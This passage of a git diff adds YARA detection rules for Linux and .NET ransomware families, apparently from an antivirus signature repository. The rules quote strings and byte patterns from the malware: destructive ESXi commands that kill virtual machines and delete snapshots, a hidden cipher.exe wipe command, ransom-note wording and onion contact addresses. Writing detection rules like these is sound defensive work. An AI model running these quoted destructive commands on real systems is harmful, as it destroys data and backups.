encrypted_note + $a_01_1 = {76 69 6d 2d 63 6d 64 20 76 6d 73 76 63 2f 67 65 74 61 6c 6c 76 6d 73 } //1 vim-cmd vmsvc/getallvms + $a_01_2 = {45 43 52 59 50 54 5f 65 6e 63 72 79 70 74 5f 62 79 74 65 73 } //1 ECRYPT_encrypt_bytes + $a_01_3 = {76 69 6d 2d 63 6d 64 20 76 6d 73 76 63 2f 70 6f 77 65 72 2e 6f 66 66 } //1 vim-cmd vmsvc/power.off + $a_01_4 = {6c 6f 67 67 65 72 5f 65 6e 63 72 79 70 74 69 6f 6e 2e 63 70 70 } //1 logger_encryption.cpp + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Linux/Embargo/Ransom_Linux_Embargo_A_MTB.yar b/Ransom/Linux/Embargo/Ransom_Linux_Embargo_A_MTB.yar new file mode 100644 index 0000000000..d92145f6f4 --- /dev/null +++ b/Ransom/Linux/Embargo/Ransom_Linux_Embargo_A_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Linux_Embargo_A_MTB{ + meta: + description = "Ransom:Linux/Embargo.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {65 6d 62 61 72 67 6f 3a 3a 63 72 79 70 74 65 72 } //1 embargo::crypter + $a_01_1 = {76 69 6d 2d 63 6d 64 20 76 6d 73 76 63 2f 67 65 74 61 6c 6c 76 6d 73 } //1 vim-cmd vmsvc/getallvms + $a_01_2 = {66 75 6c 6c 5f 65 6e 63 72 79 70 74 5f 65 78 74 } //1 full_encrypt_ext + $a_01_3 = {78 61 72 67 73 20 2d 6e 31 20 76 69 6d 2d 63 6d 64 20 76 6d 73 76 63 2f 73 6e 61 70 73 68 6f 74 2e 72 65 6d 6f 76 65 61 6c 6c } //1 xargs -n1 vim-cmd vmsvc/snapshot.removeall + $a_01_4 = {65 73 78 63 6c 69 20 76 6d 20 70 72 6f 63 65 73 73 20 6b 69 6c 6c 20 2d 2d 74 79 70 65 3d 66 6f 72 63 65 20 2d 2d 77 6f 72 6c 64 2d 69 64 3d } //1 esxcli vm process kill --type=force --world-id= + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Linux/Filecoder/Ransom_Linux_Filecoder_AC_MTB.yar b/Ransom/Linux/Filecoder/Ransom_Linux_Filecoder_AC_MTB.yar new file mode 100644 index 0000000000..233aaf7f9b --- /dev/null +++ b/Ransom/Linux/Filecoder/Ransom_Linux_Filecoder_AC_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Linux_Filecoder_AC_MTB{ + meta: + description = "Ransom:Linux/Filecoder.AC!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {6d 61 69 6e 2e 65 73 78 69 5f 65 6e 63 6f 64 65 72 } //1 main.esxi_encoder + $a_01_1 = {6d 61 69 6e 2e 6c 6f 63 61 6c 5f 64 72 6f 70 5f 6e 6f 74 65 } //1 main.local_drop_note + $a_01_2 = {6d 61 69 6e 2e 70 72 6f 67 72 65 73 73 5f 6c 6f 67 67 65 72 } //1 main.progress_logger + $a_01_3 = {6d 61 69 6e 2e 69 73 5f 65 78 63 6c 75 64 65 5f 64 69 72 } //1 main.is_exclude_dir + $a_01_4 = {6d 61 69 6e 2e 73 63 61 6e 5f 69 70 } //1 main.scan_ip + $a_01_5 = {6d 61 69 6e 2e 72 65 6d 6f 74 65 5f 69 6e 69 74 } //1 main.remote_init + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Linux/Filecoder/Ransom_Linux_Filecoder_AD_MTB.yar b/Ransom/Linux/Filecoder/Ransom_Linux_Filecoder_AD_MTB.yar new file mode 100644 index 0000000000..ce61cc933a --- /dev/null +++ b/Ransom/Linux/Filecoder/Ransom_Linux_Filecoder_AD_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_Linux_Filecoder_AD_MTB{ + meta: + description = "Ransom:Linux/Filecoder.AD!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {55 41 57 41 56 41 55 41 54 53 50 48 89 fb 48 8b 77 08 48 85 f6 74 12 48 8b 3b 48 c1 e6 04 ba 08 00 00 00 ff 15 27 90 0b 00 4c 8b 73 18 4c 8b 6b 28 49 ff c5 4c 89 f7 } //1 + $a_01_1 = {48 89 fb 48 8b 0f 48 8b 7f 08 48 89 f8 48 29 c8 48 be ab aa aa aa aa aa aa aa 48 f7 e6 48 8d 05 83 6f fc ff 48 89 03 48 89 43 08 4c 8b 7b 10 48 39 cf 74 54 49 89 d6 49 c1 ee 04 49 8b 3f 48 29 f9 48 89 c8 48 f7 e6 48 c1 ea 04 48 8d 04 52 4c 8d 24 c7 49 83 c4 08 4c 8b 2d e9 c7 0b 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Ransom/Linux/Gunra/Ransom_Linux_Gunra_A_MTB.yar b/Ransom/Linux/Gunra/Ransom_Linux_Gunra_A_MTB.yar new file mode 100644 index 0000000000..cb8d8b9f5b --- /dev/null +++ b/Ransom/Linux/Gunra/Ransom_Linux_Gunra_A_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Linux_Gunra_A_MTB{ + meta: + description = "Ransom:Linux/Gunra.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {73 70 61 77 6e 5f 6f 72 5f 77 61 69 74 5f 74 68 72 65 61 64 } //1 spawn_or_wait_thread + $a_01_1 = {65 6e 63 72 79 70 74 5f 66 69 6c 65 73 5f 74 68 72 65 61 64 } //1 encrypt_files_thread + $a_01_2 = {25 73 2f 25 73 2e 6b 65 79 73 74 6f 72 65 } //1 %s/%s.keystore + $a_01_3 = {52 33 41 44 4d 33 2e 74 78 74 } //1 R3ADM3.txt + $a_01_4 = {48 8b 85 10 ef ff ff 8b b0 0c 10 00 00 48 8b 85 10 ef ff ff 48 8d b8 00 04 00 00 48 8b 85 10 ef ff ff 48 8d 88 00 08 00 00 48 8b 85 10 ef ff ff 8b 90 08 10 00 00 48 8b 85 18 ef ff ff 41 89 f1 49 89 f8 48 89 c6 48 8d 05 43 3b 01 00 48 89 c7 b8 00 00 00 00 e8 46 8b 00 00 48 8b 95 18 ef ff ff 48 8d 85 60 fe ff ff 48 89 d1 48 8d 15 5d 3b 01 00 be 00 01 00 00 48 89 c7 b8 00 00 00 00 e8 fc 8d 00 00 48 8d 85 60 fe ff ff 48 89 45 f8 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Linux/LockBit/Ransom_Linux_Lockbit_CE_MTB.yar b/Ransom/Linux/LockBit/Ransom_Linux_Lockbit_CE_MTB.yar new file mode 100644 index 0000000000..1b3cdb26c5 --- /dev/null +++ b/Ransom/Linux/LockBit/Ransom_Linux_Lockbit_CE_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_Linux_Lockbit_CE_MTB{ + meta: + description = "Ransom:Linux/Lockbit.CE!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {89 7c 24 0c e8 33 ?? ?? ?? 31 c9 31 d2 89 c6 bf 10 00 00 00 31 c0 e8 81 } //1 + $a_03_1 = {48 89 f8 48 89 f9 8a 11 48 ff c1 83 f2 ?? 88 51 ff 84 d2 } //2 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Ransom/Linux/Metamorphic/Ransom_Linux_Metamorphic_A_MTB.yar b/Ransom/Linux/Metamorphic/Ransom_Linux_Metamorphic_A_MTB.yar new file mode 100644 index 0000000000..d0a0441dd9 --- /dev/null +++ b/Ransom/Linux/Metamorphic/Ransom_Linux_Metamorphic_A_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Linux_Metamorphic_A_MTB{ + meta: + description = "Ransom:Linux/Metamorphic.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {6d 65 74 61 6d 6f 72 70 68 69 63 5f 6d 61 6c 77 61 72 65 5f 67 65 6e 65 72 61 74 6f 72 } //1 metamorphic_malware_generator + $a_01_1 = {6d 61 6c 77 61 72 65 5f 32 5f 6d 65 74 61 6d 6f 72 70 68 69 63 } //1 malware_2_metamorphic + $a_01_2 = {6d 61 6c 77 61 72 65 5f 32 5f 70 72 6f 63 65 73 73 65 64 5f 73 6f 75 72 63 65 } //1 malware_2_processed_source + $a_01_3 = {52 61 6e 64 6f 6d 77 61 72 65 20 62 79 20 5b 61 66 6a 6f 73 65 70 68 5d } //1 Randomware by [afjoseph] + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/Linux/RAWorld/Ransom_Linux_RAWorld_A_MTB.yar b/Ransom/Linux/RAWorld/Ransom_Linux_RAWorld_A_MTB.yar new file mode 100644 index 0000000000..346b647a81 --- /dev/null +++ b/Ransom/Linux/RAWorld/Ransom_Linux_RAWorld_A_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Linux_RAWorld_A_MTB{ + meta: + description = "Ransom:Linux/RAWorld.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {52 41 20 57 6f 72 6c 64 } //1 RA World + $a_01_1 = {6d 61 69 6e 2e 65 6e 63 72 79 70 74 46 69 6c 65 } //1 main.encryptFile + $a_01_2 = {70 61 74 68 2f 66 69 6c 65 70 61 74 68 2e 72 65 61 64 44 69 72 4e 61 6d 65 73 } //1 path/filepath.readDirNames + $a_03_3 = {74 74 70 3a 2f 2f 72 61 77 6f 72 6c 64 [0-50] 2e 6f 6e 69 6f 6e } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_03_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/Linux/Sarcoma/Ransom_Linux_Sarcoma_A_MTB.yar b/Ransom/Linux/Sarcoma/Ransom_Linux_Sarcoma_A_MTB.yar new file mode 100644 index 0000000000..f8ac19b79d --- /dev/null +++ b/Ransom/Linux/Sarcoma/Ransom_Linux_Sarcoma_A_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Linux_Sarcoma_A_MTB{ + meta: + description = "Ransom:Linux/Sarcoma.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {46 41 49 4c 5f 53 54 41 54 45 5f 4e 4f 54 49 46 49 43 41 54 49 4f 4e 2e 70 64 66 } //1 FAIL_STATE_NOTIFICATION.pdf + $a_01_1 = {76 69 6d 2d 63 6d 64 20 76 6d 73 76 63 2f 73 6e 61 70 73 68 6f 74 2e 72 65 6d 6f 76 65 61 6c 6c } //1 vim-cmd vmsvc/snapshot.removeall + $a_01_2 = {44 89 d0 44 0f b6 cb 44 89 d9 c1 e8 18 c1 e9 10 44 8b 06 0f b6 d0 46 33 04 8d 80 bc 42 00 48 89 f8 44 0f b6 c9 44 33 04 95 80 b0 42 00 41 0f b6 ca 0f b6 d4 44 89 d8 46 33 04 8d 80 b4 42 00 c1 e8 18 44 8b 4e 04 44 33 0c 8d 80 bc 42 00 89 f9 44 33 04 95 80 b8 42 00 0f b6 d0 c1 e9 10 44 33 0c 95 80 b0 42 00 0f b6 d7 0f b6 c1 41 0f b6 cb c1 eb 10 44 33 0c 85 80 b4 42 00 89 f8 c1 e8 18 44 33 0c 95 80 b8 42 00 8b 56 08 33 14 8d 80 bc 42 00 0f b6 c8 0f b6 c3 33 14 8d 80 b0 42 00 4c 89 d1 c1 eb 08 33 14 85 80 b4 42 00 0f b6 c5 41 c1 ea 10 33 14 85 80 b8 42 00 40 0f b6 c7 8b 4e 0c 33 0c 85 80 bc 42 00 0f b6 c3 41 0f b6 fa 33 0c 85 80 b0 42 00 4c 89 db 33 0c bd 80 b4 42 00 0f b6 c7 33 0c 85 80 b8 42 00 44 89 c7 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/Linux/Weaxor/Ransom_Linux_Weaxor_A_MTB.yar b/Ransom/Linux/Weaxor/Ransom_Linux_Weaxor_A_MTB.yar new file mode 100644 index 0000000000..3a19843995 --- /dev/null +++ b/Ransom/Linux/Weaxor/Ransom_Linux_Weaxor_A_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Linux_Weaxor_A_MTB{ + meta: + description = "Ransom:Linux/Weaxor.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {2f 62 69 77 65 61 78 2e 70 68 70 } //2 /biweax.php + $a_01_1 = {2e 72 6f 78 } //1 .rox + $a_01_2 = {6b 65 79 5f 6f 66 5f 74 61 72 67 65 74 } //1 key_of_target + $a_01_3 = {72 6f 78 61 65 77 2e 74 78 74 } //1 roxaew.txt + $a_03_4 = {74 74 70 3a 2f 2f 77 65 61 78 6f 72 [0-55] 2e 6f 6e 69 6f 6e 2f } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_03_4 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Ransom/MSIL/Bert/Ransom_MSIL_Bert_A.yar b/Ransom/MSIL/Bert/Ransom_MSIL_Bert_A.yar new file mode 100644 index 0000000000..6b11331f2c --- /dev/null +++ b/Ransom/MSIL/Bert/Ransom_MSIL_Bert_A.yar @@ -0,0 +1,12 @@ + +rule Ransom_MSIL_Bert_A{ + meta: + description = "Ransom:MSIL/Bert.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {48 00 65 00 6c 00 6c 00 6f 00 20 00 66 00 72 00 6f 00 6d 00 20 00 42 00 65 00 72 00 74 00 21 00 } //1 Hello from Bert! + $a_01_1 = {65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 62 00 79 00 62 00 65 00 72 00 74 00 } //1 encryptedbybert + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Ransom/MSIL/BlackBit/Ransom_MSIL_BlackBit_NIT_MTB.yar b/Ransom/MSIL/BlackBit/Ransom_MSIL_BlackBit_NIT_MTB.yar new file mode 100644 index 0000000000..7f64e25d8f --- /dev/null +++ b/Ransom/MSIL/BlackBit/Ransom_MSIL_BlackBit_NIT_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_MSIL_BlackBit_NIT_MTB{ + meta: + description = "Ransom:MSIL/BlackBit.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {7e 05 00 00 0a 72 01 00 00 70 72 d0 02 00 70 1f 40 28 ?? 00 00 06 26 1f 23 28 ?? 00 00 0a 72 e2 02 00 70 28 ?? 00 00 0a 0a 06 28 ?? 00 00 0a 2c 1b 72 fe 02 00 70 72 12 03 00 70 06 72 12 03 00 70 28 ?? 00 00 0a 28 ?? 00 00 0a 26 2a } //2 + $a_00_1 = {69 00 6e 00 66 00 6f 00 2e 00 42 00 6c 00 61 00 63 00 6b 00 42 00 69 00 74 00 } //1 info.BlackBit + condition: + ((#a_03_0 & 1)*2+(#a_00_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/MSIL/Chaos/Ransom_MSIL_Chaos_ACH_MTB.yar b/Ransom/MSIL/Chaos/Ransom_MSIL_Chaos_ACH_MTB.yar new file mode 100644 index 0000000000..3d8be3d54a --- /dev/null +++ b/Ransom/MSIL/Chaos/Ransom_MSIL_Chaos_ACH_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_MSIL_Chaos_ACH_MTB{ + meta: + description = "Ransom:MSIL/Chaos.ACH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_03_0 = {0c 2b 2e 08 6f ?? 00 00 0a 0d 00 09 28 ?? 00 00 0a 13 04 06 11 04 28 ?? 00 00 2b 13 05 11 05 2c 0f 00 02 7b ?? 00 00 04 09 6f } //3 + $a_03_1 = {2b 01 16 2b 01 17 0b 04 2c 14 04 2c 0e 0e 05 72 ?? 04 00 70 28 ?? 00 00 0a 2b 01 16 2b 01 17 0c 05 2c 14 05 2c 0e 0e 05 72 ?? 04 00 70 28 ?? 00 00 0a 2b 01 } //2 + $a_01_2 = {31 00 30 00 2e 00 33 00 30 00 2e 00 31 00 30 00 2e 00 32 00 34 00 33 00 } //1 10.30.10.243 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/MSIL/Chaos/Ransom_MSIL_Chaos_NITA_MTB.yar b/Ransom/MSIL/Chaos/Ransom_MSIL_Chaos_NITA_MTB.yar new file mode 100644 index 0000000000..31ddfbcb21 --- /dev/null +++ b/Ransom/MSIL/Chaos/Ransom_MSIL_Chaos_NITA_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_MSIL_Chaos_NITA_MTB{ + meta: + description = "Ransom:MSIL/Chaos.NITA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {00 28 1d 00 00 0a 6f ?? 00 00 0a 0a 28 ?? 00 00 0a 1f 0a 28 ?? 00 00 06 72 c1 08 00 70 28 ?? 00 00 0a 28 ?? 00 00 0a 0b 07 73 21 00 00 0a 0c 00 08 72 6b 0a 00 70 6f ?? 00 00 0a 00 08 72 c5 0a 00 70 06 72 fd 0a 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 00 00 de 0b 08 2c 07 08 6f ?? 00 00 0a 00 dc 72 1b 0b 00 70 07 28 ?? 00 00 0a 26 2a } //2 + $a_03_1 = {06 07 9a 0c 00 02 72 33 0b 00 70 08 28 ?? 00 00 0a 17 28 ?? 00 00 0a 0d 00 09 13 04 16 13 05 2b 22 11 04 11 05 9a 13 06 00 00 11 06 03 28 ?? 00 00 06 00 00 de 06 13 07 00 00 de 00 00 11 05 17 58 13 05 11 05 11 04 8e 69 32 d6 00 07 17 58 0b 07 06 8e 69 32 aa } //2 + $a_03_2 = {a2 13 06 28 ?? 00 00 0a 13 07 00 11 06 13 0d 16 13 0e 2b 1a 11 0d 11 0e 9a 13 0f 00 11 0f 06 11 05 28 ?? 00 00 06 00 00 11 0e 17 58 13 0e 11 0e 11 0d 8e 69 32 de } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2+(#a_03_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/MSIL/Choas/Ransom_MSIL_Choas_GVA_MTB.yar b/Ransom/MSIL/Choas/Ransom_MSIL_Choas_GVA_MTB.yar new file mode 100644 index 0000000000..7048fae10a --- /dev/null +++ b/Ransom/MSIL/Choas/Ransom_MSIL_Choas_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_MSIL_Choas_GVA_MTB{ + meta: + description = "Ransom:MSIL/Choas.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {6d fe 0e 23 00 fe 0c 1f 00 fe 0c 1f 00 1f 12 62 61 fe 0e 1f 00 fe 0c 1f 00 fe 0c 20 00 58 fe 0e 1f 00 fe 0c 1f 00 fe 0c 1f 00 17 64 61 fe 0e 1f } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Ransom/MSIL/Choas/Ransom_MSIL_Choas_GVB_MTB.yar b/Ransom/MSIL/Choas/Ransom_MSIL_Choas_GVB_MTB.yar new file mode 100644 index 0000000000..c217a92f1b --- /dev/null +++ b/Ransom/MSIL/Choas/Ransom_MSIL_Choas_GVB_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_MSIL_Choas_GVB_MTB{ + meta: + description = "Ransom:MSIL/Choas.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {06 02 07 91 7e 27 00 00 04 07 7e 27 00 00 04 6f 17 00 00 0a 5d 6f 23 00 00 0a 61 d2 6f c9 00 00 0a 07 17 58 0b 07 02 8e 69 32 d5 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Ransom/MSIL/Crypticware/Ransom_MSIL_Crypticware_PA_MTB.yar b/Ransom/MSIL/Crypticware/Ransom_MSIL_Crypticware_PA_MTB.yar new file mode 100644 index 0000000000..36d52ed2bc --- /dev/null +++ b/Ransom/MSIL/Crypticware/Ransom_MSIL_Crypticware_PA_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_MSIL_Crypticware_PA_MTB{ + meta: + description = "Ransom:MSIL/Crypticware.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {43 00 72 00 79 00 70 00 74 00 69 00 63 00 77 00 61 00 72 00 65 00 } //1 Crypticware + $a_01_1 = {53 69 6d 70 6c 65 58 4f 52 45 6e 63 72 79 70 74 69 6f 6e } //1 SimpleXOREncryption + $a_01_2 = {59 00 6f 00 75 00 72 00 20 00 69 00 6d 00 70 00 6f 00 72 00 74 00 61 00 6e 00 74 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 68 00 61 00 73 00 20 00 62 00 65 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 43 00 72 00 79 00 70 00 74 00 69 00 63 00 77 00 61 00 72 00 65 00 2e 00 } //3 Your important files has been encrypted with Crypticware. + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Ransom/MSIL/Crysis/Ransom_MSIL_Crysis_AJQA_MTB.yar b/Ransom/MSIL/Crysis/Ransom_MSIL_Crysis_AJQA_MTB.yar new file mode 100644 index 0000000000..4368aca275 --- /dev/null +++ b/Ransom/MSIL/Crysis/Ransom_MSIL_Crysis_AJQA_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_MSIL_Crysis_AJQA_MTB{ + meta: + description = "Ransom:MSIL/Crysis.AJQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {08 11 05 02 11 05 91 07 61 11 04 06 91 61 b4 9c 1d 13 07 38 ?? ff ff ff 7e ?? 00 00 04 16 8c ?? 00 00 01 28 ?? 00 00 06 26 } //3 + $a_01_1 = {02 8e b7 17 d6 8d 5a 00 00 01 0c } //2 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Ransom/MSIL/CyberLock/Ransom_MSIL_CyberLock_GVA_MTB.yar b/Ransom/MSIL/CyberLock/Ransom_MSIL_CyberLock_GVA_MTB.yar new file mode 100644 index 0000000000..530f1d8f2e --- /dev/null +++ b/Ransom/MSIL/CyberLock/Ransom_MSIL_CyberLock_GVA_MTB.yar @@ -0,0 +1,20 @@ + +rule Ransom_MSIL_CyberLock_GVA_MTB{ + meta: + description = "Ransom:MSIL/CyberLock.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0a 00 00 " + + strings : + $a_01_0 = {2e 63 79 62 65 72 6c 6f 63 6b } //1 .cyberlock + $a_01_1 = {41 6c 6c 20 79 6f 75 72 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 2e } //1 All your files have been encrypted. + $a_01_2 = {48 6f 77 20 64 6f 20 49 20 70 61 79 3f } //1 How do I pay? + $a_01_3 = {59 6f 75 20 6d 75 73 74 20 73 65 6e 64 20 24 20 32 35 30 30 30 20 28 55 53 44 29 20 74 6f 20 74 68 65 20 66 69 72 73 74 20 4d 6f 6e 65 72 6f 20 61 64 64 72 65 73 73 } //1 You must send $ 25000 (USD) to the first Monero address + $a_01_4 = {57 65 20 61 72 65 20 43 79 62 65 72 4c 6f 63 6b 20 2d 20 41 6e 6f 6e 79 6d 6f 75 73 2e } //1 We are CyberLock - Anonymous. + $a_01_5 = {52 65 61 64 4d 65 4e 6f 77 2e 74 78 74 } //1 ReadMeNow.txt + $a_01_6 = {48 4b 43 55 3a 5c 43 6f 6e 74 72 6f 6c 20 50 61 6e 65 6c 5c 44 65 73 6b 74 6f 70 } //1 HKCU:\Control Panel\Desktop + $a_01_7 = {53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 63 69 70 68 65 72 2e 65 78 65 20 2d 41 72 67 75 6d 65 6e 74 4c 69 73 74 20 22 2f 77 3a 24 65 6e 76 3a 55 53 45 52 50 52 4f 46 49 4c 45 22 20 2d 57 69 6e 64 6f 77 53 74 79 6c 65 20 48 69 64 64 65 6e } //1 Start-Process cipher.exe -ArgumentList "/w:$env:USERPROFILE" -WindowStyle Hidden + $a_01_8 = {45 6d 61 69 6c 3a 20 63 79 62 65 72 73 70 65 63 74 72 65 69 73 6c 6f 63 6b 65 64 40 6f 6e 69 6f 6e 6d 61 69 6c 2e 6f 72 67 } //5 Email: cyberspectreislocked@onionmail.org + $a_01_9 = {50 6c 65 61 73 65 20 73 65 6e 64 20 61 20 73 63 72 65 65 6e 73 68 6f 74 20 6f 66 20 74 68 65 20 70 61 79 6d 65 6e 74 2e 20 57 65 20 77 69 6c 6c 20 72 65 73 70 6f 6e 64 20 77 69 74 68 69 6e 20 35 20 68 6f 75 72 73 20 77 69 74 68 20 74 68 65 20 64 65 63 72 79 70 74 69 6f 6e 20 6b 65 79 2e } //1 Please send a screenshot of the payment. We will respond within 5 hours with the decryption key. + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*5+(#a_01_9 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Ransom/MSIL/Emmyware/Ransom_MSIL_Emmyware_SK_MTB.yar b/Ransom/MSIL/Emmyware/Ransom_MSIL_Emmyware_SK_MTB.yar new file mode 100644 index 0000000000..02b66d53a1 --- /dev/null +++ b/Ransom/MSIL/Emmyware/Ransom_MSIL_Emmyware_SK_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_MSIL_Emmyware_SK_MTB{ + meta: + description = "Ransom:MSIL/Emmyware.SK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {54 41 53 4b 4b 49 4c 4c 20 2f 46 20 2f 49 4d 20 45 58 50 4c 4f 52 45 52 2e 45 58 45 } //1 TASKKILL /F /IM EXPLORER.EXE + $a_81_1 = {4f 6e 63 65 20 79 6f 75 20 72 75 6e 20 74 68 69 73 2c 20 79 6f 75 27 72 65 20 66 75 63 6b 65 64 21 } //1 Once you run this, you're fucked! + $a_81_2 = {54 72 6f 6a 61 6e 2e 52 61 6e 73 6f 6d 2e 45 6d 6d 79 77 61 72 65 } //1 Trojan.Ransom.Emmyware + $a_81_3 = {45 6d 6d 79 77 61 72 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 Emmyware.Properties.Resources + $a_81_4 = {64 63 36 71 6d 6f 6b 2d 37 65 37 30 35 34 64 64 2d 64 37 63 66 2d 34 31 35 61 2d 38 63 35 65 2d 39 33 38 62 31 62 39 39 39 65 34 36 } //1 dc6qmok-7e7054dd-d7cf-415a-8c5e-938b1b999e46 + $a_81_5 = {57 68 61 74 48 61 70 70 65 6e 4c 61 62 65 6c 2e 54 65 78 74 } //1 WhatHappenLabel.Text + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/MSIL/EncnCrypt/Ransom_MSIL_EncnCrypt_PA_MTB.yar b/Ransom/MSIL/EncnCrypt/Ransom_MSIL_EncnCrypt_PA_MTB.yar new file mode 100644 index 0000000000..428634478b --- /dev/null +++ b/Ransom/MSIL/EncnCrypt/Ransom_MSIL_EncnCrypt_PA_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_MSIL_EncnCrypt_PA_MTB{ + meta: + description = "Ransom:MSIL/EncnCrypt.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {25 00 42 00 54 00 43 00 25 00 } //1 %BTC% + 